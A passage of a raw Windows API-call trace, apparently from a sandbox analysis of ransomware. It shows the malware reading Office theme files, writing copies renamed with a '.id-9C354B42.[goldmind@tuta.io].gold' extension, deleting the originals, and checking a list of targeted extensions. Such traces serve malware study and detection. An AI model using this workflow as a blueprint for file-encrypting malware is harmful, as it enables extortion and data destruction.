lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.804] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0041.194] GetLastError () returned 0x0 [0041.194] ReadFile (in: hFile=0x19c, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0xb20, lpOverlapped=0x0) returned 1 [0041.259] WriteFile (in: hFile=0x200, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xb30, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xb30, lpOverlapped=0x0) returned 1 [0041.260] ReadFile (in: hFile=0x19c, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0041.260] WriteFile (in: hFile=0x200, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xea, lpOverlapped=0x0) returned 1 [0041.260] SetEndOfFile (hFile=0x200) returned 1 [0041.261] CloseHandle (hObject=0x200) returned 1 [0041.261] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.261] SetEndOfFile (hFile=0x19c) returned 1 [0041.261] CloseHandle (hObject=0x19c) returned 1 [0041.261] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0041.262] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif")) returned 1 [0041.262] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0041.262] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0041.262] lstrlenW (lpString=".doc") returned 4 [0041.262] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0041.262] lstrlenW (lpString=".docx") returned 5 [0041.262] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0041.262] lstrlenW (lpString=".pdf") returned 4 [0041.262] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0041.262] lstrlenW (lpString=".xls") returned 4 [0041.262] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0041.262] lstrlenW (lpString=".xlsx") returned 5 [0041.262] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0041.262] lstrlenW (lpString=".ppt") returned 4 [0041.262] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0041.262] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0041.262] lstrlenW (lpString=".zip") returned 4 [0041.262] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0041.262] lstrlenW (lpString=".rar") returned 4 [0041.262] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0041.262] lstrlenW (lpString=".bz2") returned 4 [0041.262] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0041.262] lstrlenW (lpString=".7z") returned 3 [0041.262] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0041.262] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0041.262] lstrlenW (lpString=".dbf") returned 4 [0041.262] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0041.262] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0041.262] lstrlenW (lpString=".1cd") returned 4 [0041.262] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0041.262] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0041.262] lstrlenW (lpString=".jpg") returned 4 [0041.262] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0041.262] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0041.262] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0041.263] lstrlenW (lpString=".doc") returned 4 [0041.263] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0041.263] lstrlenW (lpString=".docx") returned 5 [0041.263] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0041.263] lstrlenW (lpString=".pdf") returned 4 [0041.263] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0041.263] lstrlenW (lpString=".xls") returned 4 [0041.263] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0041.263] lstrlenW (lpString=".xlsx") returned 5 [0041.263] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0041.263] lstrlenW (lpString=".ppt") returned 4 [0041.263] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0041.263] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0041.263] lstrlenW (lpString=".zip") returned 4 [0041.263] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0041.263] lstrlenW (lpString=".rar") returned 4 [0041.263] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0041.263] lstrlenW (lpString=".bz2") returned 4 [0041.263] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0041.263] lstrlenW (lpString=".7z") returned 3 [0041.263] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0041.263] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0041.263] lstrlenW (lpString=".dbf") returned 4 [0041.263] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0041.263] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0041.263] lstrlenW (lpString=".1cd") returned 4 [0041.263] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0041.263] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0041.263] lstrlenW (lpString=".jpg") returned 4 [0041.263] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0041.263] lstrcmpiW (lpString1=".PNG", lpString2=".gold") returned 1 [0041.263] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0041.263] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0041.303] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=29925) returned 1 [0041.303] CloseHandle (hObject=0x19c) returned 1 [0041.303] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png")) returned 0x20 [0041.305] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0041.305] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0041.316] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.316] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.317] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0041.323] GetLastError () returned 0x0 [0041.323] ReadFile (in: hFile=0x200, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x74e5, lpOverlapped=0x0) returned 1 [0041.363] WriteFile (in: hFile=0x204, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x74f0, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0x74f0, lpOverlapped=0x0) returned 1 [0041.364] ReadFile (in: hFile=0x200, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0041.364] WriteFile (in: hFile=0x204, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xec, lpOverlapped=0x0) returned 1 [0041.364] SetEndOfFile (hFile=0x204) returned 1 [0041.364] CloseHandle (hObject=0x204) returned 1 [0041.364] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.364] SetEndOfFile (hFile=0x200) returned 1 [0041.365] CloseHandle (hObject=0x200) returned 1 [0041.365] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0041.365] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png")) returned 1 [0041.365] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0041.365] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0041.365] lstrlenW (lpString=".doc") returned 4 [0041.365] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0041.365] lstrlenW (lpString=".docx") returned 5 [0041.365] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0041.365] lstrlenW (lpString=".pdf") returned 4 [0041.365] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0041.365] lstrlenW (lpString=".xls") returned 4 [0041.365] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0041.365] lstrlenW (lpString=".xlsx") returned 5 [0041.365] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0041.365] lstrlenW (lpString=".ppt") returned 4 [0041.365] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0041.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0041.366] lstrlenW (lpString=".zip") returned 4 [0041.366] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0041.366] lstrlenW (lpString=".rar") returned 4 [0041.366] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0041.366] lstrlenW (lpString=".bz2") returned 4 [0041.366] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0041.366] lstrlenW (lpString=".7z") returned 3 [0041.366] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0041.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0041.366] lstrlenW (lpString=".dbf") returned 4 [0041.366] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0041.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0041.366] lstrlenW (lpString=".1cd") returned 4 [0041.366] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0041.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0041.366] lstrlenW (lpString=".jpg") returned 4 [0041.366] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0041.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0041.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0041.366] lstrlenW (lpString=".doc") returned 4 [0041.366] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0041.366] lstrlenW (lpString=".docx") returned 5 [0041.366] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0041.366] lstrlenW (lpString=".pdf") returned 4 [0041.366] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0041.366] lstrlenW (lpString=".xls") returned 4 [0041.366] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0041.366] lstrlenW (lpString=".xlsx") returned 5 [0041.366] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0041.366] lstrlenW (lpString=".ppt") returned 4 [0041.366] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0041.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0041.366] lstrlenW (lpString=".zip") returned 4 [0041.366] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0041.366] lstrlenW (lpString=".rar") returned 4 [0041.366] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0041.366] lstrlenW (lpString=".bz2") returned 4 [0041.366] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0041.366] lstrlenW (lpString=".7z") returned 3 [0041.366] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0041.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0041.366] lstrlenW (lpString=".dbf") returned 4 [0041.366] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0041.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0041.366] lstrlenW (lpString=".1cd") returned 4 [0041.366] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0041.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0041.366] lstrlenW (lpString=".jpg") returned 4 [0041.366] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0041.367] lstrcmpiW (lpString1=".PNG", lpString2=".gold") returned 1 [0041.367] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0041.367] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0041.381] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=25106) returned 1 [0041.381] CloseHandle (hObject=0x1f4) returned 1 [0041.382] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png")) returned 0x20 [0041.382] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0041.382] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0041.382] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.382] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.382] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0041.382] GetLastError () returned 0x0 [0041.382] ReadFile (in: hFile=0x1f4, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x6212, lpOverlapped=0x0) returned 1 [0041.392] WriteFile (in: hFile=0x200, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x6220, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0x6220, lpOverlapped=0x0) returned 1 [0041.406] ReadFile (in: hFile=0x1f4, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0041.406] WriteFile (in: hFile=0x200, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xec, lpOverlapped=0x0) returned 1 [0041.406] SetEndOfFile (hFile=0x200) returned 1 [0041.406] CloseHandle (hObject=0x200) returned 1 [0041.406] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.406] SetEndOfFile (hFile=0x1f4) returned 1 [0041.407] CloseHandle (hObject=0x1f4) returned 1 [0041.407] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0041.407] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png")) returned 1 [0041.407] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0041.407] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0041.407] lstrlenW (lpString=".doc") returned 4 [0041.407] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0041.407] lstrlenW (lpString=".docx") returned 5 [0041.407] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0041.407] lstrlenW (lpString=".pdf") returned 4 [0041.407] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0041.407] lstrlenW (lpString=".xls") returned 4 [0041.407] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0041.407] lstrlenW (lpString=".xlsx") returned 5 [0041.407] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0041.408] lstrlenW (lpString=".ppt") returned 4 [0041.408] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0041.408] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0041.408] lstrlenW (lpString=".zip") returned 4 [0041.408] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0041.408] lstrlenW (lpString=".rar") returned 4 [0041.408] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0041.408] lstrlenW (lpString=".bz2") returned 4 [0041.408] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0041.408] lstrlenW (lpString=".7z") returned 3 [0041.408] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0041.408] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0041.408] lstrlenW (lpString=".dbf") returned 4 [0041.408] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0041.408] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0041.408] lstrlenW (lpString=".1cd") returned 4 [0041.408] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0041.408] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0041.408] lstrlenW (lpString=".jpg") returned 4 [0041.408] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0041.408] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0041.408] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0041.408] lstrlenW (lpString=".doc") returned 4 [0041.408] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0041.408] lstrlenW (lpString=".docx") returned 5 [0041.408] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0041.408] lstrlenW (lpString=".pdf") returned 4 [0041.408] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0041.408] lstrlenW (lpString=".xls") returned 4 [0041.408] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0041.408] lstrlenW (lpString=".xlsx") returned 5 [0041.408] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0041.408] lstrlenW (lpString=".ppt") returned 4 [0041.408] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0041.408] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0041.408] lstrlenW (lpString=".zip") returned 4 [0041.408] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0041.408] lstrlenW (lpString=".rar") returned 4 [0041.408] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0041.408] lstrlenW (lpString=".bz2") returned 4 [0041.408] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0041.408] lstrlenW (lpString=".7z") returned 3 [0041.408] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0041.408] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0041.408] lstrlenW (lpString=".dbf") returned 4 [0041.408] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0041.408] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0041.408] lstrlenW (lpString=".1cd") returned 4 [0041.408] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0041.408] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0041.408] lstrlenW (lpString=".jpg") returned 4 [0041.408] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0041.409] lstrcmpiW (lpString1=".PNG", lpString2=".gold") returned 1 [0041.409] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0041.409] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0042.047] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=32433) returned 1 [0042.047] CloseHandle (hObject=0x18c) returned 1 [0042.047] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png")) returned 0x20 [0042.047] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0042.047] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0042.048] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.048] SetFilePointerEx (in: 